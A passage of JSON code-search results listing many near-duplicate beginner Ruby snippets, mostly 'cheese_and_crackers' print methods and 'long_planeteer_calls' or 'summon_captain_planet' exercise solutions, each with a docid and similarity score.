[ { "docid": "e77735e4a0843fe5828f2718bd20a2b6", "score": "0.6718497", "text": "def long_planeteer_calls(short_words)\n short_words = [\"puff\", \"go\", \"two\"]\n assorted_words = [\"two\", \"go\", \"industrious\", \"bop\"]\nend", "title": "" }, { "docid": "da3b946dee5079e4bfa55091905d253f", "score": "0.6414387", "text": "def long_planeteer_calls(long_planeteer_calls)# code an argument here\n planeteer_calls.any? { |call| call.length > 4 }\n end", "title": "" }, { "docid": "bf6b55467f6d293d88040511801e06f2", "score": "0.6255928", "text": "def long_planeteer_calls(calls_array)\n\tcalls_array.any? do |call|\n\t\tcall.length > 4 \n\tend\nend", "title": "" }, { "docid": "98a935c936e27829594ca07ea33d8f9e", "score": "0.62464774", "text": "def long_planeteer_calls(calls_long)\n calls_long.any?{|call| call.size > 4}\nend", "title": "" }, { "docid": "9baf41ecc19fcc6c7b5a321f2bbd528b", "score": "0.61574626", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"YOu have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"GEt a blanket.\\n\"\nend", "title": "" }, { "docid": "0af52174625faca1fda3f88950eea3a3", "score": "0.61439395", "text": "def cheese_and_crakers(cheese_count, boxes_of_crackers)\n \tputs \"You have #{cheese_count} cheeses!\"\n \tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\n \tputs \"Man that's enough for a party!\"\n \tputs \"Get a blanket.\\n\"\n end", "title": "" }, { "docid": "377698f1b9e0519e57a982b46915513f", "score": "0.61360884", "text": "def cheese_and_crackers(cheese_count, box_of_crackers)\n p \"You have #{cheese_count} cheeses!\"\n p \"You have #{box_of_crackers} boxes of crackers!\"\n p \"Man that's enought for a party!\"\n p \"Get a blanket.\"\nend", "title": "" }, { "docid": "16b17255d40f0f1ae34139fa245e0203", "score": "0.61352193", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"That's enough for a party!\"\n puts \"Get a blanket!\\n\"\nend", "title": "" }, { "docid": "d7e9c198d1a3246f2adec392dd622570", "score": "0.612593", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"Your have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "e0710a14f4444ae812af896aa54c8e94", "score": "0.61103284", "text": "def cheese_and_crackers (cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "94eb50634492da8be7c96d72e03d6d26", "score": "0.610093", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"you have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man thats enought for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "8c694dfebb5f53fadff278292243a917", "score": "0.6099285", "text": "def long_planeteer_calls(calls)# code an argument here\n calls.any? do |call|# Your code here\n call.length > 4\n end\nend", "title": "" }, { "docid": "0cdb30fd77913ef71c61d9cc837def43", "score": "0.6095751", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\t puts \"you have #{cheese_count} cheeses\"\n\t puts \"You have #{boxes_of_crackers} boxes of crackers\"\n\t puts \"Man, Thats enough for a party\"\n\t puts \"Get a blanket. \\n\"\n\tend", "title": "" }, { "docid": "2089faee4376cdd5c9fb7f2fb9ab82f5", "score": "0.60942763", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} chesees!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "60bfc995594f81fc6b5154d0a0f6ed5a", "score": "0.60934275", "text": "def test_multiple_bay_thing_q5()\n result = multiple_bay_thing(@warehouse,[:b3, :c7, :c9, :a3])\n assert_equal([\"picture frame\", \"paint brush\", \"shoe lace\", \"blouse\"], result)\nend", "title": "" }, { "docid": "e43df7623c07e58e61857a254f3a03c4", "score": "0.60924655", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n# put the following strings\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\n# finish the method\nend", "title": "" }, { "docid": "1e5159a7751ee8a14c32d34ed40d8fbd", "score": "0.60923755", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\tputs \"You have #{cheese_count} cheeses!\"\n\tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\n\tputs \"Man that's enough for a party!\"\n\tputs \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.6090732", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "aba4257fe48c0493ab56b9da11105408", "score": "0.60904604", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "d43fa401b24c0e0f227d54536df64a1c", "score": "0.6086871", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man, that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "c22404b707cb8e7ea29d1c61ef8e47fc", "score": "0.608502", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Get a blanket. \\n\"\nend", "title": "" }, { "docid": "766970f549c0b981dfaea8e193136a09", "score": "0.6077169", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\" # unpacks argument cheese_count\nend", "title": "" }, { "docid": "e769c1304e9106f39036f49006ec9860", "score": "0.6063524", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers.\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "5076c1a14a7ba06eedaf8327163c1c39", "score": "0.60607666", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\tputs \"You have #{cheese_count} cheeses!\"\n\tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\n\tputs \"Man, that's enough for a party!\"\n\tputs \"Let's do it\\n\"\nend", "title": "" }, { "docid": "8b2f28c0ce6a8ab7f4cb0c37d46f1244", "score": "0.6057195", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\t# print how many cheeses and how many boxes\n\tputs \"You have #{cheese_count}\"\n\tputs \"You have #{boxes_of_crackers}\"\n\tputs \"Man that's enough for a party\"\n\tputs \"Get a blanket\"\nend", "title": "" }, { "docid": "eca2d0cc9c5bed5bb07a959566e36047", "score": "0.60488397", "text": "def clothing(sweatshirts, t_shirts, pants)\n puts \"You have #{sweatshirts} sweatshirts.\"\n puts \"You have #{t_shirts} t-shirts.\"\n puts \"You have #{pants} pairs of pants.\"\nend", "title": "" }, { "docid": "78011b1539454e778e0a72611801cbb3", "score": "0.60429907", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\t#I structure the function in this lines, \n\t#it prints the number of the arguments, we defined later\n\tputs \"You have #{cheese_count} cheeses!\"\n\tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\n\tputs \"Man that's enough for a party!\"\n\tputs \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "147bf566d6b5bcec9a413363cead86ee", "score": "0.604231", "text": "def cheese_and_crackers(slices_of_cheese, boxes_of_crackers)\n puts \"You have #{slices_of_cheese} cheeses!\"\n puts \"You have #{boxes_of_crackers} crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket\"\nend", "title": "" }, { "docid": "a59ffdb5aa6a5f405828d7781577698b", "score": "0.6038172", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket. \\n\"\nend", "title": "" }, { "docid": "a59ffdb5aa6a5f405828d7781577698b", "score": "0.6038172", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket. \\n\"\nend", "title": "" }, { "docid": "aae6454eb8dfb7148c46f5917008108f", "score": "0.6035105", "text": "def penguinCall\r\n penguinCallArray = [\"Cheep! Cheep!\",\"Noot! Noot!\",\"Cheep! Cheepy Cheeeep!\",\"Herp Derp!\",\"Meep! Meep!\",\"Bork! Bork! Bork!\",\"Meepity meep Cheepy Cheep Noot! Noot!\",\"YakYakYak!\",\"Noot!\",\"KAAH! kuckaah!\",\"Yarpity Blarp Yak! Yak! Cheepity Cheep!\",\"Meep Meep, Cheep Cheep!\",\"Dork! Dork! Dork!\",\"Chirpity ChirpChip CHURP!\",\"Meep! Meeeeeep! meepity meep meep!\",\"Kwak Kwaaah Kuckaaah!\",\"Huh HehHh Hello!\",\"ChirpChirp! Yak!\",\"Noot! #{$name} Noooooot!\",\"Meeep! meepy meep!\",\"Hello #{$name}! Yak! Yak! Yak!\",\"nooot...noot.. Noot! Noot!\",\"Pen pen Pen pen PENGUIN!\",\"I like to eat seafood! Noot! Noot!\"]\r\n c = rand(@age)\r\n if c < penguinCallArray.length\r\n return penguinCallArray[c]\r\n else\r\n return \"Hello #{$name}! I'm a penguin and I can talk!\"\r\n end\r\n end", "title": "" }, { "docid": "972354581ecf146ae693c5098981f4e4", "score": "0.60337377", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket. \\n \"\nend", "title": "" }, { "docid": "9c9a51b6fabf164f9a714ec24c6c463f", "score": "0.6031014", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n # returns \"You have #{recalls cheese_value} cheeses!\"\n puts \"You have #{cheese_count} cheeses!\"\n # recalls value of boxes_of_crackers and returns \"You have #{} boxes of crackers!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n #returns \"Man that's enough for a party!\"\n puts \"Man that's enough for a party!\"\n # returns \"get a blanket\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "6827696681f87703bc7f8b4c297d0a76", "score": "0.60236126", "text": "def beers_and_pizza (packs_of_beers, boxes_of_pizza)\n\n puts \"You have #{packs_of_beers} packs of beers.\"\n puts \"You have #{boxes_of_pizza} boxes of pizza.\"\nend", "title": "" }, { "docid": "2b33fa2d796239906f036ac97c02d50c", "score": "0.6019781", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party\"\n puts \"Get a blanket. \\n\"\nend", "title": "" }, { "docid": "f155f76f57b4ab1148f583fdc295025c", "score": "0.6018538", "text": "def find_valid_calls(planeteer_calls)\n valid_calls = [\"Earth!\", \"Wind!\", \"Fire!\", \"Water!\", \"Heart!\"]\n # Use an Enumerable to check if any elements in the passed in array match the valid calls listed above\n # Return the first valid call found, or return nil if no valid calls are found\n planeteer_calls.find do |element|\n valid_calls.include?(element)\nend\nend", "title": "" }, { "docid": "875bc6adaf509cee207577cc915a7e42", "score": "0.6018518", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "875bc6adaf509cee207577cc915a7e42", "score": "0.6018518", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "875bc6adaf509cee207577cc915a7e42", "score": "0.6018518", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "8b76270716b3c9074b948cfa7aa635b1", "score": "0.60159844", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n # You are listing out what the function will do when called below\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man, that's enought for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "fbfd97934846cfd508a459f940282305", "score": "0.60111094", "text": "def long_planeteer_calls(calls)\n short_flag = false\n calls.each do |x|\n if x.length > 4\n short_flag = true\n end\n end\n return short_flag\nend", "title": "" }, { "docid": "d3786989e67026d034ac88c07570651a", "score": "0.6010644", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n# defines our desires output(s)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\n# marks the end of my arguement\nend", "title": "" }, { "docid": "b87d69615962ec49c82c1ee8a63c99cd", "score": "0.60018694", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n #displays messages\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "186774bbda72cec2470e4aac15be33c4", "score": "0.5992538", "text": "def cheese_and_cackers(cheese_count, boxex_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxex_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "0d4bb14d1cf215530d4746cdf9000e98", "score": "0.59912014", "text": "def long_planeteer_calls(planeteer_calls)\n planeteer_calls.each do |calls|\n if calls.length > 4\n return true\n elsif !(calls.length > 4)\n return false\n\n end\n end\nend", "title": "" }, { "docid": "adddca204b31f04162634fa6dbee62f1", "score": "0.5985555", "text": "def long_planeteer_calls(calls)\n calls.each do |call|\n if call.length > 4 then\n return true\n end\n end\n\n false\nend", "title": "" }, { "docid": "cc02c4fab3b95780cc68f9afce8f4784", "score": "0.5968", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket. \\n\"\nend", "title": "" }, { "docid": "a12f7c24953bfc06c8fc4ed90e81d908", "score": "0.5960055", "text": "def long_planeteer_calls(calls)\n calls.any? do |c|\n c.length > 4\n end\nend", "title": "" }, { "docid": "40b66a4eabf6195fde4ab71c20bf49a1", "score": "0.5954165", "text": "def cheese_and_crackers(cheese_count, box_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{box_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket. \\n\"\nend", "title": "" }, { "docid": "0bcea1d800dd76db1ebfb56832d7e17a", "score": "0.5941696", "text": "def long_planeteer_calls(calls)# code an argument here\n # Your code here\n count =0\n calls.each do |word|\n word.size > 4 ? count+=1 : next\n end\n count > 0 ? true : false\nend", "title": "" }, { "docid": "21f53d062076891eb8cf8fd851ef337e", "score": "0.5939039", "text": "def summon_captain_planet(planeteer_calls)\n planeteer_calls.map { |call| call.capitalize + '!'\n }\nend", "title": "" }, { "docid": "fb4e8df3887df655b12186dfbdd66cac", "score": "0.5938459", "text": "def long_planeteer_calls(planeteer_calls)\n planeteer_calls.any? do |call| call.length > 4\n end\nend", "title": "" }, { "docid": "21e88a8528dc27332b845046dcdacdec", "score": "0.5935036", "text": "def summon_captain_planet(planeteer_calls)\n#planteer_calls = [\"earth\", \"wind\", \"fire\", \"water\", \"heart\"]\nplaneteer_calls.collect do |call|\n call.capitalize + \"!\"\n end\nend", "title": "" }, { "docid": "4b2ba161a62394d48d1441c0f9932cb8", "score": "0.5929963", "text": "def cheese_and_crackers(cheese_count,boxes_of_crackers)\n#the next four lines outline the body or output of the method\n puts \"there be #{cheese_count} cheeses\"\n puts \"you have #{boxes_of_crackers} crackers!!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\n#completes method\nend", "title": "" }, { "docid": "9ed9444ad423410f7b7d14920a3aa9a5", "score": "0.5923613", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\r\n\tputs \"You have #{cheese_count} cheeses!\"\r\n\tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\r\n\tputs \"Man that's enough for a party\"\r\n\tputs \"Get a blanket.\\n\"\r\nend", "title": "" }, { "docid": "624f37ac635af4e2f36d93f25b969a32", "score": "0.5919162", "text": "def long_planeteer_calls(calls_long)\n calls_long.any? do |a| a.length > 4 \n end\nend", "title": "" }, { "docid": "b099f9cb38d23dbb5ac5acf989377bdd", "score": "0.59116125", "text": "def summon_captain_planet(planeteer_calls)\n planeteer_calls.map { |call| call.capitalize + '!' }\nend", "title": "" }, { "docid": "b099f9cb38d23dbb5ac5acf989377bdd", "score": "0.59116125", "text": "def summon_captain_planet(planeteer_calls)\n planeteer_calls.map { |call| call.capitalize + '!' }\nend", "title": "" }, { "docid": "886aed99d1dbe0877286c714460494e4", "score": "0.5907043", "text": "def long_planeteer_calls(calls)# code an argument here\n # Your code here\n long_calls = calls.select {|call| call.length > 4}\n\n if long_calls.empty?\n false\n else\n true\n end\nend", "title": "" }, { "docid": "b4c7cbfc692192004105d6377ac2a888", "score": "0.5900153", "text": "def test_multiple_bay_thing()\n result = multiple_bay_thing(@warehouse,[:b6, :b10, :b5])\n assert_equal([\"tooth paste\", \"cookie jar\", \"nail filer\"], result)\nend", "title": "" }, { "docid": "939c65b113d312ce75e444711c2122ac", "score": "0.5890907", "text": "def long_planeteer_calls(planeteer_calls)\n planeteer_calls.any? { |call| call.length > 4 }\nend", "title": "" }, { "docid": "939c65b113d312ce75e444711c2122ac", "score": "0.5890907", "text": "def long_planeteer_calls(planeteer_calls)\n planeteer_calls.any? { |call| call.length > 4 }\nend", "title": "" }, { "docid": "8c1af3be5c5e7c14a8f974b70f849f2b", "score": "0.58859825", "text": "def gather(apples, *vegetables, corn)\n puts \"Let's start gathering food.\"\n puts apples\n #p vegetables\n puts corn\n puts \"We've finished gathering!\"\nend", "title": "" }, { "docid": "adbd32f2240b70acd4e1231430ea98b8", "score": "0.58797354", "text": "def summon_captain_planet(planeteer_calls)\n planeteer_calls.collect {|call| call.capitalize + \"!\"}\nend", "title": "" }, { "docid": "21a80b539e0cf002b214b50d251f1fbf", "score": "0.587578", "text": "def test_multiple_bay_number()\n result = multiple_bay_number(@warehouse, [\"shoe lace\", \"rusty nail\", \"leg warmers\"])\n assert_equal([:c9, :c1, :c10], result)\nend", "title": "" }, { "docid": "aa07fbe813d7370a8d4b4eb4a9c0646f", "score": "0.5874757", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n# These four lines are the code the method will run whenever the method is called\n# and given an object to run through it.\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\n# This ends the method definition\nend", "title": "" }, { "docid": "41bf931d541e467a9151af1b131406f7", "score": "0.58736235", "text": "def find_valid_calls(planeteer_calls)\n valid_calls = [\"Earth!\", \"Wind!\", \"Fire!\", \"Water!\", \"Heart!\"]\nplaneteer_calls.find do |calls|\n valid_calls.include? (calls)\n end\nend", "title": "" }, { "docid": "18e113d871360dc33504137b878d5676", "score": "0.5855006", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n # prints the amount of cheeses passed as an argument\n puts \"You have #{cheese_count} cheeses!\"\n # prints the amount of boxes passed as an argument\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n # prints man....\n puts \"Man that's enough for a party!\"\n # prints get...\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "8da5fff70fa07bc2725f0b24908b2b07", "score": "0.5842656", "text": "def long_planeteer_calls(calls)\n calls.any? {|call| call.length > 4}\nend", "title": "" }, { "docid": "d86e914b0ffff7105a419bd8b41e4be5", "score": "0.5839674", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n #method definition here, referencing parameters\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "0141c9f53d8f1cefce7dc6cf1b6fc004", "score": "0.58395785", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n# print the 1st parameter from the function\n puts \"You have #{cheese_count} cheeses!\"\n# print the 2nd parameter from the function\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\\n\"\nend", "title": "" }, { "docid": "6a39042b256dd24b1e80605d6a5fd0b7", "score": "0.5835384", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n # tell the method print the amount of cheese\n puts \"You have #{cheese_count} cheeses!\"\n # print the amount of crackers\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n # print it's time for a party\n puts \"Man that's enough for a party!\"\n # print to get a blanket\n puts \"Get a blanket.\\n\"\n# end of the method definition\nend", "title": "" }, { "docid": "271bfc08c62b5790841f63602a629c06", "score": "0.58277446", "text": "def milkshake_list(milkshake)\n \t\t@milkshake.each do |milkshake|\n \t\tputs \"Milkshakes available: #{milkshake}\"\n \tend\n\n end", "title": "" }, { "docid": "b5e2c928d9c288f76614b35f6a216e7c", "score": "0.58192915", "text": "def summon_captain_planet(planeteer_calls)\n planeteer_calls.map do |item|\n item.capitalize + \"!\"\n end\nend", "title": "" }, { "docid": "0acb32503842d3d4a7a790ccf3f4c3b8", "score": "0.58164775", "text": "def long_planeteer_calls(calls)\n calls.any? {|x| x.length > 4}\nend", "title": "" }, { "docid": "9c6746b723fd0bb43305404f9d2381f7", "score": "0.58063114", "text": "def long_planeteer_calls(arr)\n if arr.length > 4 #the spec default has a mistake. the two example arrays should be opposite \n return false\n end\n true\nend", "title": "" }, { "docid": "03044674298bb0ddd89f8b7c1897e4a9", "score": "0.57984984", "text": "def long_planeteer_calls(array_calls)\n array_calls.any? {|call| call.length > 4}\nend", "title": "" }, { "docid": "486aceefe4f4aebd99487a6f1c06d31e", "score": "0.57797575", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n# function instructions\n# strings with the two arguments\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket. \\n\"\nend", "title": "" }, { "docid": "bb7f082d4cbd63de10c64aaeddfbe65e", "score": "0.5775613", "text": "def long_planeteer_calls(calls)\n calls.any? { |call| call.length > 4 }\nend", "title": "" }, { "docid": "fa30088ceed944736ad4aede9504c744", "score": "0.5759949", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\tputs \"You have #{cheese_count} cheeses!\"\n\tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\n\tputs \"Man, that's enough for a party!\"\n\tputs \"Get a blanket.\"\n\tputs # a blank line\nend", "title": "" }, { "docid": "2b4f2f478d0fbfda694b02ef5f0d2087", "score": "0.57541424", "text": "def meat_toppings()\n\tmeat_toppings = [\"bacon\", \"pepperoni\", \"sausage\", \"anchovies\"]\nend", "title": "" }, { "docid": "254b7efcb7305cc1e19a4c547f8119f7", "score": "0.57489574", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n # This line provides the code I want to run with the amount of cheese\n puts \"You have #{cheese_count} cheeses!\"\n # This line provides the code I want to run with the amount of boxes of crackers\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n # This line provides the code I want to run\n puts \"Man that's enough for a party!\"\n # This line provides the code I want to run\n puts \"Get a blanket.\\n\"\n# This line ends the method\nend", "title": "" }, { "docid": "4ce23b3c537d087d300a38b85e8793cf", "score": "0.5748422", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\tputs \"You have #{cheese_count} cheeses!\"\n\tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\n\tputs \"Man that's enough for a party!\"\n\tputs \"Get a blanket.\"\n\tputs # a blank line\nend", "title": "" }, { "docid": "4ce23b3c537d087d300a38b85e8793cf", "score": "0.5748422", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\tputs \"You have #{cheese_count} cheeses!\"\n\tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\n\tputs \"Man that's enough for a party!\"\n\tputs \"Get a blanket.\"\n\tputs # a blank line\nend", "title": "" }, { "docid": "76fb3da2510262b0ebe82f0acef29258", "score": "0.574802", "text": "def long_planeteer_calls(planeteer_calls)\n planeteer_calls.any? { |call| call.length > 4 }\n end", "title": "" }, { "docid": "15b16af524d8dbb45ef57f3e9c43286b", "score": "0.5746412", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n\tputs \"You have #{cheese_count} cheeses!\"\n\tputs \"You have #{boxes_of_crackers} boxes of crackers!\"\n\tputs \"Man that's enough for a party!\"\n\tputs \"Get a blanket\"\n\tputs # a blank line\nend", "title": "" }, { "docid": "69589c11457b68147bdcf46f87a1dd2c", "score": "0.5745043", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers)\n puts \"You have #{cheese_count} cheeses!\"\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n puts \"Man that's enough for a party!\"\n puts \"Get a blanket.\"\n puts # a blank line\nend", "title": "" }, { "docid": "69589c11457b68147bdcf46f87a1dd2c", "score": "0.5745043", "text": "def 